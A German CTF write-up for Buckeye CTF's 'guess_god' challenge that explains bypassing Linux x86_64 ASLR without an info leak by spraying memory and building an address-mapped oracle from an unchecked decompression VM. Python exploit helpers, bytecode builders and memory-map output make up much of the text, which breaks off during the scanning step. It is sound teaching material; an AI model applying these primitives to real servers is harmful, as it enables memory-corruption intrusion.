
ASLR-Bypass ohne Infoleak
In diesem Artikel bespreche ich die Anwendung der Technik, die von Samuel Groß in seinem Blogbeitrag Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass beschrieben wurde, um ASLR unter Linux x86_64 zu umgehen.
Um das zu zeigen, werde ich eine Pwnable-Challenge von Buckeye CTF lösen, nämlich guess_god.
Ich werde versuchen, den Inhalt so anfängerfreundlich wie möglich zu halten. Du kannst also gerne jeden Abschnitt überspringen, wenn du dich sicher genug fühlst und nur den Exploit sehen möchtest.

Ich habe nicht am CTF teilgenommen, aber ich wurde etwa 2 Stunden vor dem CTF-Ende dank Guray00 auf die Challenge aufmerksam, der im fibonhack-Discord nach Hilfe bei einigen Krypto-Spielereien fragte.
Ich konnte ihm nicht helfen, aber ich habe mir die Pwnable-Challenges angesehen und dachte, es wäre gut, den P0-Blogbeitrag zu verstehen und hoffentlich diese Bounty zu bekommen.
Address Space Layout Randomization (ASLR) ist eine Computersicherheitstechnik, bei der die Basisadresse einer ausführbaren Datei sowie die Position von Bibliotheken, Heap und Stack im Adressraum eines Prozesses zufällig positioniert werden.
Unter Linux kannst du die Mappings eines Prozesses anhand seiner PID über procfs einsehen, indem du die Datei /proc/<pid>/maps liest.
Wenn du selbst ein Prozess bist und deine eigenen Speicher-Mappings kennen möchtest, kannst du /proc/self/maps lesen.
Zum Beispiel kannst du versuchen, /proc/self/maps mit cat zu lesen:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Memory-Mapping-Muster
Wenn du das ein paar Mal machst, kannst du Folgendes ableiten:
* Die PIE-Basis des Binaries sollte im Bereich 0x00005500_00000000-0x00005700_00000000 liegen, was 2TB möglicher Adressen bedeutet.
* Der Heap befindet sich in der Nähe des Binaries.
* Bibliotheken liegen im Bereich 0x00007f00_00000000 - 0x00007fff_ffffffff, also 1TB möglicher Adressen.
* Der Stack liegt \(meistens\) im Bereich 0x00007ffc_00000000 - 0x00007fff_ffffffff, also 16gb möglicher Adressen.
* Der Bereich 0xffffffffff600000 - 0xffffffffff601000 ist immer gemappt. Wenn du dich fragst, was es ist, kannst du [diesen Artikel](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) lesen.
## 1.3 So umgeht man ASLR ohne Infoleak
Lass uns besprechen, was du tun kannst, um ASLR zu umgehen, wenn kein Informationsleck möglich ist.
Dies ist mein Versuch, zusammenzufassen, was ich aus Saelos Blogpost mitgenommen habe.
Um ASLR zu umgehen, brauchst du:
* Eine Memory-Spraying-Technik, mit der du zusammenhängenden Speicher einer bestimmten Größe in einem bestimmten Adressbereich mappen kannst.
Wie er sagt, gibt es zwei Möglichkeiten, das zu tun:
1. Durch das Ausnutzen eines Memory-Leaks (kein Informationsleck!), also eines Fehlers, bei dem ein Speicherblock „vergessen“ und nie freigegeben wird, und durch das mehrmalige Auslösen dieses Fehlers, bis die gewünschte Menge an Speicher ausgelaufen ist.
2. Durch das Finden und Ausnutzen eines „Amplification Gadgets“: ein Codeabschnitt, der einen vorhandenen Datenblock nimmt und ihn potenziell mehrfach kopiert, sodass der Angreifer eine große Menge an Speicher sprayen kann, indem er nur eine relativ kleine Anzahl von Bytes sendet.
* Ein `isAddressMapped`-Orakel, das dir für eine Adresse sagt, ob diese Adresse gemappt ist oder nicht.
### PoC zum ASLR-Bypass unter Linux
Lass uns versuchen, den PoC von saelo zu reproduzieren, um ASLR unter Linux vollständig zu brechen.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo's poc</i> <p/> <br/>
Unter Linux ist das nicht so einfach: Es ist möglich, ASLR nur dann vollständig zu brechen, wenn du in der Lage bist, 16gb Speicher zu allozieren.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
Aus den Hinweisen von man malloc:
Somit führt void *mem = malloc(size) letztendlich zu einem Aufruf von mmap(size + malloc_metadata_size, ...).
Da Bibliotheken durch ld per mmap in den Prozess gemappt werden, landen diese Zuweisungen in der Nähe der Bibliotheken.
Wenn du dir die von malloc zurückgegebenen Adressen ansiehst, kannst du besser verstehen, was passiert. Profi-Tipp: Schau auf die höchstwertigen Bytes.
| mem | 16-TB-Grenze überschritten? |
|---|---|
| 0x7fb03b55e010 | Nein |
| 0x7fa03b55d010 | Nein |
| 0x7f903b55c010 | Nein |
| 0x7f803b55b010 | Nein |
| 0x7f703b55a010 | Nein |
| 0x7f603b559010 | Nein |
| 0x7f503b558010 | Nein |
| 0x7f403b557010 | Nein |
| 0x7f303b556010 | Nein |
| 0x7f203b555010 | Nein |
| 0x7f103b554010 | Nein |
| 0x7f003b553010 | Nein |
| 0x7ef03b552010 | Ja |
| 0x7ee03b551010 | Ja |
| 0x7ed03b550010 | Ja |
| 0x7ec03b54f010 | Ja |
Der PoC nutzt die Tatsache aus, dass sich an einem bestimmten Punkt das höchstwertige Byte der zurückgegebenen Adresse von 7F auf 7E ändert und, da die Zuweisungen zusammenhängend sind, sich in diesem Bereich etwas befinden muss. (Ja, wir wenden das Bolzano-Weirstress-Theorem an, um dieses Problem zu lösen!)
Dank des Autors enthält das Zip Binaries, Quellcode und Dockerfile, um dieselbe Umgebung wie die entfernte zu reproduzieren.

Es ist immer gut, sich etwas Wissen über die Umgebung zu verschaffen. Schauen wir uns die Dateien an und machen ein paar Notizen.
oatpp 1.2.5 erstellen und installieren, vielleicht gibt es nützliche Bugs in dieser spezifischen Version?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Es baut die Challenge von Grund auf neu
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Das könnte ein Problem sein, also kopieren wir stattdessen die bereitgestellten Binärdateien.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

Die Datei docker-compose.yml wird bereitgestellt, sodass es überhaupt nicht schwer ist, eine funktionierende lokale Umgebung zum Ausprobieren zu bekommen. Für diejenigen, die sich mit Docker nicht so sicher sind, hier die Liste der Befehle, die ihr kennen müsst, um die Challenge lokal zu untersuchen.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
Nachdem du `docker-compose build` ausgeführt hast, kannst du `docker-compose up` ausführen, um den Container zu starten, und dich mit `nc 127.0.0.1 9000` mit der Challenge verbinden.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Analyse des Quellcodes
Da wir nun ein grundlegendes Wissen darüber haben, was wir tun müssen, um ASLR zu umgehen, schauen wir uns den Quellcode an, wobei wir Folgendes im Hinterkopf behalten:
* eine Möglichkeit, Speicher in bekannte Speicherbereiche zu sprayen
* ein isAddrMapped-Orakel
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Quellcode-Ordner </i><p/>
Es ist größtenteils Glue-Code, um einen oatpp-Webserver zum Laufen zu bringen. Die wichtigen Dateien, die wir analysieren werden, sind:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Es gibt 3 Endpunkte:
* `/`
* `GET /files/{fileId}` -> Lädt eine zuvor hochgeladene Datei herunter; wenn extract wahr ist, wird sie vor dem Herunterladen extrahiert.
* `POST /upload/{fileId}` -> Lädt eine Datei zu einer angegebenen {fileId} hoch.
Und eine Funktion, die in `MyController.cpp` implementiert ist.```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
welche:
Setze to_open auf {file_id} oder {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Wenn wir zum ersten Mal die Extraktion von {file_id} anfordern, wird daraufhin die Dekomprimierung aufgerufen,
die die dekomprimierte Datei von {file_id} in {file_id}.unkyle schreibt. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
Am Ende mmap das Ergebnis in den Speicher. ```C
struct stat sb;
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
fork() erzeugt einen neuen Prozess, indem der aufrufende Prozess dupliziert wird; zum Zeitpunkt von fork() haben beide Speicherbereiche denselben Inhalt.
Wenn wir also decompress() in ein Orakel verwandeln können, das:
könnten wir diese Primitive nutzen, um den Speicherbereich des Elternprozesses abzuleiten.
Es gibt einen Aufruf von mmap im Elternprozess: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if we can control sb.st_size, welches die Größe der dekomprimierten Datei ist, könnten wir es leicht in eine Memory-Spraying-Primitive verwandeln.
int decompress(const char *fname)
* Bildet die Eingabedatei auf die Adresse `0x42069000000` ab.
* Bildet die Ausgabedatei auf die Adresse `0x13371337000` ab.
* Ruft do_decompress() auf, das die Dekomprimierung durchführt.
Die Datei wird im folgenden Format erwartet:
| Offset | Name | Typ | Beschreibung |
| - | - | - | - |
| +0h | magic | uint64 | ein magischer Wert, der 0x0123456789abcdef sein sollte |
| +8h | filesize | uint64 | Größe der dekomprimierten Datei |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Sie können diese Funktion als eine einfache virtuelle Maschine betrachten, die den Bytecode, auf den in zeigt, ausführt und die Ausgabe in den Puffer schreibt, auf den out zeigt.
in zeigt auf unsere {file_id}.
out zeigt auf {file_id.unkyle}.
Diese VM hat 4 Opcodes:
0 -> NOP
1 -> STORE(u8 b)
schreibt b nach out, erhöht out um 1.
Opcode-Implementierung: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
setze out auf out + off.
out und off sind 64-Bit-Werte, also ist out = out+off äquivalent zu out = (out+off) % MAX_64BIT_VALUE. Dies wird als Integer-Überlauf bezeichnet, und wir können dieses Verhalten ausnutzen, um jeden beliebigen 64-Bit-Wert zu erreichen. Beispiel: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
Opcode-Implementierung: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Kopiere `size` Bytes von `out - off` nach `out`, erhöhe `out` um 8.
Opcode-Implementierung: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
Es gibt keine Grenzprüfung in irgendeiner der Operationen, was uns 2 nützliche Primitive gibt:
SEEK+LOADSEEK+STOREIch habe diesen Code verwendet, um den Bytecode zu erstellen:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Interaktion mit der Binärdatei
Bevor man in die Exploitation-Phase eintaucht, ist es immer gut, etwas zu bauen, das einem ermöglicht, einfach mit der Binärdatei zu interagieren, um keine Zeit zu verschwenden.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Das war für mich sehr wichtig beim Lösen der Challenge; ich habe sehr lange auf die Memory-Mappings gestarrt.
Dazu kannst du eine lokale Instanz der Challenge starten und nach einigen Operationen die Memory-Maps des Prozesses lesen.

Wir haben eine Read-What-Where-Primitive, daher ist es überhaupt nicht schwer, ein isAddressMapped-Orakel zu bauen.
Mein Ansatz war, diesen Bytecode zu bauen:
memcpy(out, targetAddress, 1)write(b'A')Wenn targetAddress nicht gemappt ist, stürzt das Kindprogramm bei memcpy mit einem Segfault ab, was uns eine dekomprimierte Datei liefert, die mit Null-Bytes gefüllt ist.
Wenn targetAddress gemappt ist, enthält die dekomprimierte Datei ein b'\x41' als zweites Byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Memory-Spray-Primitive
Wir können die Größe der dekomprimierten Datei vollständig kontrollieren und erhalten ein mmap dieser Größe in [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
In meinem Exploit habe ich die Funktion `isAddrMapped` verwendet und die Dateilänge (filelen) geändert.
Zum Beispiel versuchen wir, einen zusammenhängenden Block der Größe = 0x4000000 = 64 MB zu allozieren.```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Das ist das Ergebnis:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Wenn du es erneut versuchst:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Das ist das Ergebnis:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Schön! Mehrere Allokationen werden keine Lücken haben.
## 4.4 Wie viel Speicher sprayen?
Wie du anhand [dieses POCs](#poc-of-aslr-bypass-on-linux) sehen kannst, wäre die ideale Größe für den zusammenhängend gemappten Speicher 16 TB.
Leider schlägt der mmap fehl, wenn du versuchst, 16 TB Speicher auf dem Remote-Server zu allokieren, weil [nsjail dies begrenzt](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
Nach einigem Ausprobieren fand ich heraus, dass ich ~3840mb Speicher mit diesem Code sprayen kann:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
die resultierenden Speicher-Mappings werden ungefähr so aussehen:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Konzentrieren wir uns auf die Adressen, die mit dem Memory-Spraying erstellt wurden. \(*.unkyle Dateien \)
Wir können versuchen, den [Grenzüberschreitungs-Trick](#Boundary-cross-trick) anzuwenden.
| Speicheradresse | 4gb-Grenzüberschreitung?
| - |-
| 7fe2dc000000 | Nein
| 7fe2e0000000 | Nein
| 7fe2e4000000 | Nein
| 7fe2e8000000 | Nein
| 7fe2ec000000 | Nein
| 7fe2f0000000 | Nein
| 7fe2f4000000 | Nein
| 7fe2f8000000 | Nein
| 7fe2fc000000 | Nein
| 7fe300000000 | Ja
| 7fe304000000 | Ja
| 7fe308000000 | Ja
Indem wir den Wechsel von 7fe2.. zu 7fe3.. ausnutzen, können wir den Speicher mit einer Schrittweite von 0x100000000 = 4 GB Speicher scannen.
## 4.5 Endlich ASLR überwinden
Bei dieser Schrittweite können wir von `start=0x7f0000000000` bis `end=0x800000000000` mit nur `end - start / size` = 256 Abfragen scannen.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
An diesem Punkt haben wir leakAddr, was eine gemappte Adresse wie folgt ist: 0x7fXX00000000, in diesem Fall ist leakAddr = 0x7fe300000000.
Wenn wir nun der Saelo-Technik folgen wollen, sollten wir eine binäre Suche über den Bereich 0x7fXX00000000 - 0x7fXXffffffff durchführen, um untere und obere Grenzen zu finden. Das Problem ist, dass es in diesem Bereich einige Lücken gibt, sodass die binäre Suche oft fehlschlägt.
Du kannst es selbst mit diesem Skript überprüfen:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
